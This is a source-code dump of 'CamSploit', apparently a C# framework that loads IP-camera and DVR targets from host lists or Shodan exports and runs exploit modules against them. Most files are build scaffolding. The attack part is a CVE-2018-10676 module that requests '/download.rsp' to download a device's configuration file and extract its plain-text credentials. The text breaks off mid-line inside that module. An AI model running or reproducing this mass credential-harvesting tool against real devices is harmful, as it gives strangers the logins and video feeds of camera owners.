├── Resources
└── icon.png
├── Exploits
├── obj
│ ├── Debug
│ │ ├── Exploits.AssemblyInfoInputs.cache
│ │ └── Exploits.AssemblyInfo.cs
│ ├── Exploits.csproj.nuget.cache
│ ├── Exploits.csproj.nuget.g.targets
│ ├── project.packagespec.json
│ ├── Exploits.csproj.nuget.g.props
│ └── project.assets.json
├── Exploits.csproj
├── CVE_2018_10676.cs
└── CVE_2018_9995.cs
├── Lib
├── CommandLine.dll
└── Newtonsoft.Json.dll
├── CamSploit
├── obj
│ ├── Debug
│ │ ├── CamSploit.AssemblyInfoInputs.cache
│ │ └── CamSploit.AssemblyInfo.cs
│ └── project.packagespec.json
├── InputType.cs
├── ErrorException.cs
├── CamSploit.csproj
├── Options.cs
├── CamLoader.cs
├── ExploitHelper.cs
├── Writter.cs
└── Program.cs
├── ExploitMaker
├── obj
│ ├── Debug
│ │ ├── ExploitMaker.AssemblyInfoInputs.cache
│ │ └── ExploitMaker.AssemblyInfo.cs
│ ├── ExploitMaker.csproj.nuget.cache
│ ├── ExploitMaker.csproj.nuget.g.targets
│ ├── project.packagespec.json
│ ├── ExploitMaker.csproj.nuget.g.props
│ └── project.assets.json
├── Modules
│ ├── Module.cs
│ ├── Credencial.cs
│ └── ExploitResult.cs
├── Exceptions
│ ├── JsonParserErrorException.cs
│ ├── ExploitFailException.cs
│ └── ExploituUreachableTargetException.cs
├── Phrases.cs
├── Helpers
│ ├── BinaryHelper.cs
│ ├── HttpHelper.cs
│ └── ConnectionHelper.cs
├── ExploitMaker.csproj
└── Camera.cs
├── .gitignore
├── CamSploit.sln.DotSettings.user
├── CamSploit.sln
├── README.md
└── LICENSE.txt
/Resources/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxpowersi/CamSploit/HEAD/Resources/icon.png
--------------------------------------------------------------------------------
/Exploits/obj/Debug/Exploits.AssemblyInfoInputs.cache:
--------------------------------------------------------------------------------
1 | 53ac94add63b7252314c649509f89094a40f6715
2 |
--------------------------------------------------------------------------------
/Lib/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxpowersi/CamSploit/HEAD/Lib/CommandLine.dll
--------------------------------------------------------------------------------
/CamSploit/obj/Debug/CamSploit.AssemblyInfoInputs.cache:
--------------------------------------------------------------------------------
1 | 2052c4cc638e1245eafe2b5cd2b63719c345a551
2 |
--------------------------------------------------------------------------------
/Lib/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxpowersi/CamSploit/HEAD/Lib/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/ExploitMaker/obj/Debug/ExploitMaker.AssemblyInfoInputs.cache:
--------------------------------------------------------------------------------
1 | 5ce04b61d8021f1aee256010768e919cc4263a45
2 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | CamSploit\obj
3 | CamSploit\bin
4 | ExploitMaker\obj
5 | ExploitMaker\bin
6 | Exploits\obj
7 | Exploits\bin
8 | Binary
--------------------------------------------------------------------------------
/Exploits/obj/Exploits.csproj.nuget.cache:
--------------------------------------------------------------------------------
1 | {
2 | "version": 1,
3 | "dgSpecHash": "sG24SDMmGdLqubs03cvTYA2E3Vi1B43w7Y705R2tiESQA1nisTYp+j1d5HFU34Nw7BmM4kNIoo9nqY3SeE1NQw==",
4 | "success": true
5 | }
--------------------------------------------------------------------------------
/ExploitMaker/obj/ExploitMaker.csproj.nuget.cache:
--------------------------------------------------------------------------------
1 | {
2 | "version": 1,
3 | "dgSpecHash": "3gis3HUTPp73RRnVuZHk9ntv4jfj7sfVls7iOSmiWctedj4LfpkPhqYSLC7yXz1Tc1bC6/+qs/MzS7JsXwuiQQ==",
4 | "success": true
5 | }
--------------------------------------------------------------------------------
/CamSploit/InputType.cs:
--------------------------------------------------------------------------------
1 | namespace CamSploit
2 | {
3 | //enum
4 | public enum InputType
5 | {
6 | ListExploit,
7 | SingleHost,
8 | ListHost,
9 | Shodan,
10 | None
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/ExploitMaker/Modules/Module.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker.Modules
2 | {
3 | public abstract class Module
4 | {
5 | public abstract string CommonName { get; }
6 |
7 | public abstract string Description { get; }
8 |
9 | public string FullDescription => CommonName + ":" + Description;
10 |
11 | public abstract ExploitResult Run(Camera cam);
12 | }
13 | }
--------------------------------------------------------------------------------
/CamSploit/ErrorException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace CamSploit
4 | {
5 | ///
6 | /// This class represents an error in the execution of the normal flow code (not for error in exploits)
7 | ///
8 | public class ErrorException : Exception
9 | {
10 | public ErrorException(string msg) :base (msg)
11 | {
12 |
13 | }
14 | }
15 | }
--------------------------------------------------------------------------------
/ExploitMaker/Exceptions/JsonParserErrorException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ExploitMaker.Exceptions
4 | {
5 | ///
6 | /// This class represents an error trying to parse a string in JSON format. This is often used in HttpHelpers
7 | ///
8 | public class JsonParserErrorException: Exception
9 | {
10 | public JsonParserErrorException(string msg): base(msg)
11 | {
12 | }
13 | }
14 | }
--------------------------------------------------------------------------------
/ExploitMaker/Modules/Credencial.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker.Modules
2 | {
3 | public class Credencial
4 | {
5 | public Credencial(string username, string password, string msg = "")
6 | {
7 | Username = username;
8 | Password = password;
9 | Message = msg;
10 | }
11 |
12 | public string Username { get; set; }
13 |
14 | public string Password { get; set; }
15 |
16 | public string Message { get; set; }
17 |
18 | public override string ToString()
19 | {
20 | return Username + ":" + Password;
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/ExploitMaker/Phrases.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker
2 | {
3 | public static class Phrases
4 | {
5 | public static string Init_Test = "Testing {0} for Cam {1}";
6 |
7 | public static string Test_Fail = "The module {0} fail for the cam {1}";
8 |
9 | public static string IP_Camera_Is_Not_Reachable = "The Camera {0} is not reachable for the module {1}";
10 |
11 | public static string Test_NotVulnerable = "The Cam {0} is not vulnerable for the module {1}";
12 |
13 | public static string Test_Success = "The Cam {0} is vulnerable for the module {1} {2}";
14 | }
15 | }
--------------------------------------------------------------------------------
/ExploitMaker/Helpers/BinaryHelper.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 |
3 | namespace ExploitMaker.Helpers
4 | {
5 | public static class BinaryHelper
6 | {
7 | ///
8 | /// Returns the bytes of one streams
9 | ///
10 | public static byte[] ReadBytes(Stream input)
11 | {
12 | var buffer = new byte[16*1024];
13 | using (var ms = new MemoryStream())
14 | {
15 | int read;
16 | while ((read = input.Read(buffer, 0, buffer.Length)) > 0)
17 | ms.Write(buffer, 0, read);
18 | return ms.ToArray();
19 | }
20 | }
21 | }
22 | }
--------------------------------------------------------------------------------
/ExploitMaker/Exceptions/ExploitFailException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ExploitMaker.Exceptions
4 | {
5 | ///
6 | /// This class represents an internal error trying to execute one exploit
7 | ///
8 | public class ExploitFailException : Exception
9 | {
10 | public ExploitFailException(Camera cam, string commonName, string msg) : base(msg)
11 | {
12 | Camera = cam;
13 | CommonName = commonName;
14 | }
15 |
16 | public Camera Camera { get; private set; }
17 |
18 | public string CommonName { get; private set; }
19 |
20 | public string ScreenMessage => string.Format(Phrases.Test_Fail, CommonName, Camera.Address);
21 | }
22 | }
--------------------------------------------------------------------------------
/ExploitMaker/Exceptions/ExploituUreachableTargetException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ExploitMaker.Exceptions
4 | {
5 | ///
6 | /// This class represents an error, trying to execute one exploit
7 | ///
8 | public class ExploituUreachableTargetException : Exception
9 | {
10 | public ExploituUreachableTargetException(Camera cam, string commonName)
11 | {
12 | Camera = cam;
13 | CommonName = commonName;
14 | }
15 |
16 | public Camera Camera { get; private set; }
17 |
18 | public string CommonName { get; private set; }
19 |
20 | public string ScreenMessage => string.Format(Phrases.IP_Camera_Is_Not_Reachable, Camera.Address, CommonName);
21 | }
22 | }
--------------------------------------------------------------------------------
/Exploits/obj/Debug/Exploits.AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Generated by the MSBuild WriteCodeFragment class.
4 | //
5 | //------------------------------------------------------------------------------
6 |
7 | using System;
8 | using System.Reflection;
9 |
10 | [assembly: System.Reflection.AssemblyCompanyAttribute("Exploits")]
11 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
12 | [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.1")]
13 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.1")]
14 | [assembly: System.Reflection.AssemblyProductAttribute("Exploits")]
15 | [assembly: System.Reflection.AssemblyTitleAttribute("Exploits")]
16 | [assembly: System.Reflection.AssemblyVersionAttribute("1.0.1")]
17 |
--------------------------------------------------------------------------------
/CamSploit/obj/Debug/CamSploit.AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Generated by the MSBuild WriteCodeFragment class.
4 | //
5 | //------------------------------------------------------------------------------
6 |
7 | using System;
8 | using System.Reflection;
9 |
10 | [assembly: System.Reflection.AssemblyCompanyAttribute("CamSploit")]
11 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
12 | [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.1")]
13 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.1")]
14 | [assembly: System.Reflection.AssemblyProductAttribute("CamSploit")]
15 | [assembly: System.Reflection.AssemblyTitleAttribute("CamSploit")]
16 | [assembly: System.Reflection.AssemblyVersionAttribute("1.0.1")]
17 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/Debug/ExploitMaker.AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Generated by the MSBuild WriteCodeFragment class.
4 | //
5 | //------------------------------------------------------------------------------
6 |
7 | using System;
8 | using System.Reflection;
9 |
10 | [assembly: System.Reflection.AssemblyCompanyAttribute("ExploitMaker")]
11 | [assembly: System.Reflection.AssemblyConfigurationAttribute("Debug")]
12 | [assembly: System.Reflection.AssemblyFileVersionAttribute("1.0.1")]
13 | [assembly: System.Reflection.AssemblyInformationalVersionAttribute("1.0.1")]
14 | [assembly: System.Reflection.AssemblyProductAttribute("ExploitMaker")]
15 | [assembly: System.Reflection.AssemblyTitleAttribute("ExploitMaker")]
16 | [assembly: System.Reflection.AssemblyVersionAttribute("1.0.1")]
17 |
--------------------------------------------------------------------------------
/Exploits/obj/Exploits.csproj.nuget.g.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/ExploitMaker.csproj.nuget.g.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/Exploits/Exploits.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | netcoreapp2.1
4 | false
5 | 1.0.1
6 | 1.0.1
7 | 1.0.1
8 |
9 |
10 | $(SolutionDir)Binary\Release\Exploits
11 |
12 |
13 | $(SolutionDir)Binary\Debug\Exploits
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ExploitMaker/ExploitMaker.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | netcoreapp2.1
4 | false
5 | default
6 | 1.0.1
7 | 1.0.1
8 | 1.0.1
9 |
10 |
11 | $(SolutionDir)Binary\Release
12 |
13 |
14 | $(SolutionDir)Binary\Debug
15 |
16 |
17 |
18 |
19 | ..\Lib\Newtonsoft.Json.dll
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ExploitMaker/Modules/ExploitResult.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker.Modules
2 | {
3 | public class ExploitResult
4 | {
5 | public ExploitResult(bool result, string screenMessage, string comment, string user, string pass)
6 | {
7 | Result = result;
8 | ScreenMessage = screenMessage;
9 | Comment = comment;
10 |
11 | Credencials = new Credencial(user,pass);
12 | }
13 |
14 | public ExploitResult(bool result, string screenMessage, string comment)
15 | {
16 | Result = result;
17 | ScreenMessage = screenMessage;
18 | Comment = comment;
19 |
20 | Credencials = null;
21 | }
22 |
23 | public bool Result { get; private set; }
24 |
25 | public Credencial Credencials { get; private set; }
26 |
27 | public string ScreenMessage { get; private set; }
28 |
29 | public string Comment { get; private set; }
30 | }
31 | }
--------------------------------------------------------------------------------
/ExploitMaker/obj/project.packagespec.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "1.0.0",
3 | "restore": {
4 | "projectUniqueName": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj",
5 | "projectName": "ExploitMaker",
6 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj",
7 | "outputPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\obj\\",
8 | "projectStyle": "PackageReference",
9 | "originalTargetFrameworks": [
10 | "netcoreapp2.1"
11 | ],
12 | "frameworks": {
13 | "netcoreapp2.1": {
14 | "projectReferences": {}
15 | }
16 | },
17 | "warningProperties": {
18 | "warnAsError": [
19 | "NU1605"
20 | ]
21 | }
22 | },
23 | "frameworks": {
24 | "netcoreapp2.1": {
25 | "dependencies": {
26 | "Microsoft.NETCore.App": {
27 | "suppressParent": "All",
28 | "target": "Package",
29 | "version": "[2.1.0, )",
30 | "autoReferenced": true
31 | }
32 | },
33 | "imports": [
34 | "net461"
35 | ],
36 | "assetTargetFallback": true,
37 | "warn": true
38 | }
39 | }
40 | }
--------------------------------------------------------------------------------
/ExploitMaker/Camera.cs:
--------------------------------------------------------------------------------
1 | namespace ExploitMaker
2 | {
3 | public class Camera
4 | {
5 | public Camera(string host, string port)
6 | {
7 | Port = port;
8 | Host = host;
9 | }
10 |
11 | public string Host { get; set; }
12 |
13 | public string Port { get; set; }
14 |
15 | public string UrlHttp => "http://" + Host + ":" + Port;
16 |
17 | public string UrlHttps => "https://" + Host + ":" + Port;
18 |
19 | public string Address => Host + ":" + Port;
20 |
21 | public string Country { get; set; }
22 |
23 | public string City { get; set; }
24 |
25 | public string Description { get; set; }
26 |
27 | public override string ToString()
28 | {
29 | if (string.IsNullOrEmpty(Description))
30 | Description = "";
31 |
32 | if (string.IsNullOrEmpty(Country))
33 | Country = "";
34 |
35 | if (string.IsNullOrEmpty(City))
36 | City = "";
37 |
38 | return string.Join(',', Host, Port, UrlHttp, Description.Replace(',', ' '), Country.Replace(',', ' '), City.Replace(',', ' '));
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/CamSploit.sln.DotSettings.user:
--------------------------------------------------------------------------------
1 |
2 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
3 | <Policy Inspect="True" Prefix="" Suffix="" Style="aaBb" />
4 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
5 | <Policy Inspect="True" Prefix="" Suffix="" Style="aaBb" />
6 | <Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" />
7 | 2
--------------------------------------------------------------------------------
/Exploits/obj/project.packagespec.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "1.0.0",
3 | "restore": {
4 | "projectUniqueName": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\Exploits\\Exploits.csproj",
5 | "projectName": "Exploits",
6 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\Exploits\\Exploits.csproj",
7 | "outputPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\Exploits\\obj\\",
8 | "projectStyle": "PackageReference",
9 | "originalTargetFrameworks": [
10 | "netcoreapp2.1"
11 | ],
12 | "frameworks": {
13 | "netcoreapp2.1": {
14 | "projectReferences": {
15 | "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj": {
16 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj"
17 | }
18 | }
19 | }
20 | },
21 | "warningProperties": {
22 | "warnAsError": [
23 | "NU1605"
24 | ]
25 | }
26 | },
27 | "frameworks": {
28 | "netcoreapp2.1": {
29 | "dependencies": {
30 | "Microsoft.NETCore.App": {
31 | "suppressParent": "All",
32 | "target": "Package",
33 | "version": "[2.1.0, )",
34 | "autoReferenced": true
35 | }
36 | },
37 | "imports": [
38 | "net461"
39 | ],
40 | "assetTargetFallback": true,
41 | "warn": true
42 | }
43 | }
44 | }
--------------------------------------------------------------------------------
/Exploits/obj/Exploits.csproj.nuget.g.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | True
5 | NuGet
6 | C:\Users\Max Berrutto\Documents\Github\CamSploit\Exploits\obj\project.assets.json
7 | $(UserProfile)\.nuget\packages\
8 | C:\Users\Max Berrutto\.nuget\packages\
9 | PackageReference
10 | 4.9.1
11 |
12 |
13 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/ExploitMaker/obj/ExploitMaker.csproj.nuget.g.props:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | True
5 | NuGet
6 | C:\Users\Max Berrutto\Documents\Github\CamSploit\ExploitMaker\obj\project.assets.json
7 | $(UserProfile)\.nuget\packages\
8 | C:\Users\Max Berrutto\.nuget\packages\
9 | PackageReference
10 | 4.9.1
11 |
12 |
13 | $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/CamSploit/obj/project.packagespec.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "1.0.0",
3 | "restore": {
4 | "projectUniqueName": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\CamSploit\\CamSploit.csproj",
5 | "projectName": "CamSploit",
6 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\CamSploit\\CamSploit.csproj",
7 | "outputPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\CamSploit\\obj\\",
8 | "projectStyle": "PackageReference",
9 | "originalTargetFrameworks": [
10 | "netcoreapp2.1"
11 | ],
12 | "frameworks": {
13 | "netcoreapp2.1": {
14 | "projectReferences": {
15 | "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj": {
16 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj"
17 | }
18 | }
19 | }
20 | },
21 | "warningProperties": {
22 | "warnAsError": [
23 | "NU1605"
24 | ]
25 | }
26 | },
27 | "frameworks": {
28 | "netcoreapp2.1": {
29 | "dependencies": {
30 | "Microsoft.NETCore.App": {
31 | "suppressParent": "All",
32 | "target": "Package",
33 | "version": "[2.1.0, )",
34 | "autoReferenced": true
35 | }
36 | },
37 | "imports": [
38 | "net461"
39 | ],
40 | "assetTargetFallback": true,
41 | "warn": true
42 | }
43 | },
44 | "runtimes": {
45 | "": {
46 | "#import": []
47 | },
48 | "win-x64": {
49 | "#import": []
50 | }
51 | }
52 | }
--------------------------------------------------------------------------------
/CamSploit/CamSploit.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 | Exe
4 | netcoreapp2.1
5 | false
6 | default
7 | 1.0.1
8 | 1.0.1
9 | 1.0.1
10 |
11 |
12 | $(SolutionDir)Binary\Release\
13 |
14 |
15 | $(SolutionDir)\Binary\Debug\
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | ..\Lib\CommandLine.dll
25 |
26 |
27 | ..\Lib\Newtonsoft.Json.dll
28 |
29 |
30 |
31 |
32 | .gitignore
33 |
34 |
35 | README.md
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/CamSploit/Options.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using CommandLine;
3 |
4 | namespace CamSploit
5 | {
6 | public class Options
7 | {
8 | [Option("rhost", Required = true, HelpText = "Single host in format IP:Port, example 192.168.0.1:80",SetName = "a")]
9 | public string SingleHost { get; set; }
10 |
11 | [Option("rhost-list", Required = true, HelpText = "Text file with one single full host (IP:Port) per line.", SetName = "b")]
12 | public string ListHost { get; set; }
13 |
14 | [Option("rhost-shodan-file", Required = true, HelpText = "JSON Shodan data file, example: data.json", SetName = "c")]
15 | public string ShodanFile { get; set; }
16 |
17 | [Option("show-exploit", Required = true, HelpText = "Show all exploits in the application or the description of one exploit.", SetName = "d")]
18 | public string ShowExploit { get; set; }
19 |
20 | [Option("output", Required = false, Default = "output.camsploit.txt", HelpText = "Output file (it is optional).")]
21 | public string Output { get; set; }
22 |
23 | [Option("exploits", Required = false, HelpText = "List of exploits separated by spaces, example CVE_2018_9995 Default_Password_CeNova", Separator = ',')]
24 | public IEnumerable Exploits { get; set; }
25 |
26 | public InputType GetInputType()
27 | {
28 | if (ShowExploit != null)
29 | return InputType.ListExploit;
30 |
31 | if (SingleHost != null)
32 | return InputType.SingleHost;
33 |
34 | if (ListHost != null)
35 | return InputType.ListHost;
36 |
37 | return ShodanFile != null ? InputType.Shodan : InputType.None;
38 | }
39 | }
40 | }
--------------------------------------------------------------------------------
/CamSploit.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2012
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExploitMaker", "ExploitMaker\ExploitMaker.csproj", "{990CCB0F-6917-46B4-9A63-423B7B77C971}"
5 | EndProject
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Exploits", "Exploits\Exploits.csproj", "{04166FD8-4B34-4C47-94F5-1B1EC803805D}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CamSploit", "CamSploit\CamSploit.csproj", "{220CC5C4-B0F6-4D46-9603-693F676D0A4A}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x86 = Debug|x86
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Release|x86.ActiveCfg = Release|Any CPU
17 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Release|x86.Build.0 = Release|Any CPU
18 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Debug|x86.ActiveCfg = Debug|Any CPU
19 | {990CCB0F-6917-46B4-9A63-423B7B77C971}.Debug|x86.Build.0 = Debug|Any CPU
20 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Release|x86.ActiveCfg = Release|Any CPU
21 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Release|x86.Build.0 = Release|Any CPU
22 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Debug|x86.ActiveCfg = Debug|Any CPU
23 | {04166FD8-4B34-4C47-94F5-1B1EC803805D}.Debug|x86.Build.0 = Debug|Any CPU
24 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Debug|x86.ActiveCfg = Debug|Any CPU
25 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Debug|x86.Build.0 = Debug|Any CPU
26 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Release|x86.ActiveCfg = Release|Any CPU
27 | {220CC5C4-B0F6-4D46-9603-693F676D0A4A}.Release|x86.Build.0 = Release|Any CPU
28 | EndGlobalSection
29 | EndGlobal
30 |
--------------------------------------------------------------------------------
/CamSploit/CamLoader.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.IO;
3 | using System.Reflection;
4 | using Newtonsoft.Json.Linq;
5 |
6 | namespace ExploitMaker.Cam
7 | {
8 | public static class CamLoader
9 | {
10 | public static IEnumerable LoadFromTextFile(string filePath)
11 | {
12 | if (!Path.IsPathRooted(filePath))
13 | filePath = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), filePath);
14 |
15 | using (var file = new StreamReader(filePath))
16 | {
17 | string line;
18 | while ((line = file.ReadLine()) != null)
19 | {
20 | var splitted = line.Split(':');
21 |
22 | var cam = new Camera(splitted[0], splitted[1]);
23 | yield return cam;
24 | }
25 |
26 | file.Close();
27 | }
28 | }
29 |
30 | public static IEnumerable LoadFromShodanJsonFile(string filePath)
31 | {
32 | if (!Path.IsPathRooted(filePath))
33 | filePath = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), filePath);
34 |
35 | using (var fileReader = new StreamReader(filePath))
36 | {
37 | string line;
38 | while ((line = fileReader.ReadLine()) != null)
39 | {
40 | dynamic json = JObject.Parse(line);
41 |
42 | var cam = new Camera(json.http.host.ToString(), json.port.ToString())
43 | {
44 | Country = json.location.country_name,
45 | City = json.location.city,
46 | Description = json.title
47 | };
48 |
49 | yield return cam;
50 | }
51 |
52 | fileReader.Close();
53 | }
54 | }
55 |
56 | public static IEnumerable LoadFromHost(string ipPort)
57 | {
58 | yield return new Camera(ipPort.Split(':')[0], ipPort.Split(':')[1]);
59 | }
60 | }
61 | }
--------------------------------------------------------------------------------
/CamSploit/ExploitHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Reflection;
6 | using Module = ExploitMaker.Modules.Module;
7 |
8 | namespace CamSploit
9 | {
10 | public static class ExploitHelper
11 | {
12 | private static List _exploits;
13 |
14 | private const string InvalidCommonNames = "One of the entered exploits was not found";
15 |
16 | private static void LoadExploits()
17 | {
18 | _exploits = new List();
19 |
20 | var currentPath = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "Exploits");
21 |
22 | var allAssemblies = Directory.GetFiles(currentPath, "*.dll").Select(Assembly.LoadFile);
23 |
24 | foreach (var assembly in allAssemblies)
25 | {
26 | Exploits.AddRange(from t in assembly.GetTypes()
27 | where t.BaseType == typeof(Module) && t.GetConstructor(Type.EmptyTypes) != null
28 | select (Module) Activator.CreateInstance(t));
29 | }
30 | }
31 |
32 | private static List Exploits
33 | {
34 | get
35 | {
36 | if (_exploits == null)
37 | LoadExploits();
38 |
39 | return _exploits;
40 | }
41 | }
42 |
43 | ///
44 | /// Returns all Common name of all loaded modules
45 | ///
46 | public static IEnumerable GetAllCommonName()
47 | {
48 | return Exploits.Select(x => x.CommonName);
49 | }
50 |
51 | ///
52 | /// Returns one exploit from its common name
53 | ///
54 | public static Module GetExploit(string commonName)
55 | {
56 | var r = Exploits.FirstOrDefault(x => x.CommonName == commonName.ToUpper());
57 |
58 | if(r != null)
59 | return r;
60 |
61 | throw new ErrorException(InvalidCommonNames);
62 | }
63 |
64 | ///
65 | /// Returns all exploits from their common names
66 | ///
67 | public static IEnumerable GetExploits(IEnumerable commonNames)
68 | {
69 | return commonNames.Select(GetExploit);
70 | }
71 |
72 | ///
73 | /// Returns all loaded exploits
74 | ///
75 | public static IEnumerable GetAll()
76 | {
77 | return Exploits;
78 | }
79 | }
80 | }
--------------------------------------------------------------------------------
/Exploits/CVE_2018_10676.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Text.RegularExpressions;
4 | using ExploitMaker;
5 | using ExploitMaker.Exceptions;
6 | using ExploitMaker.Helpers;
7 | using ExploitMaker.Modules;
8 |
9 | namespace Exploits
10 | {
11 | public class CVE_2018_10676 : Module
12 | {
13 | public override string Description => "Gets DVR Credentials in many vendors that responds using the banner 'Server: GNU rsp/1.0'. This exploit tries to download the configuration file that contains the credentials in plain text.";
14 |
15 | public override string CommonName => "CVE-2018-10676";
16 |
17 | public override ExploitResult Run(Camera cam)
18 | {
19 | const int dataLength = 66000; //This is an aproximate size
20 |
21 | //Check opened port
22 | if (!ConnectionHelper.IsOpenPort(cam.Host, int.Parse(cam.Port)))
23 | throw new ExploituUreachableTargetException(cam, CommonName);
24 |
25 | //We are going to try download the file
26 | using (var result = ConnectionHelper.DownloadHttpFile(cam.Host, cam.Port, cam.UrlHttp + "/download.rsp", dataLength))
27 | {
28 | //If we get null, the server is not alive
29 | if (result == null)
30 | throw new ExploituUreachableTargetException(cam, CommonName);
31 |
32 | //If we get a response, the server is vulnerable
33 | var bytes = BinaryHelper.ReadBytes(result);
34 | var str = CleanString(Encoding.UTF8.GetString(bytes));
35 |
36 | return str.Contains("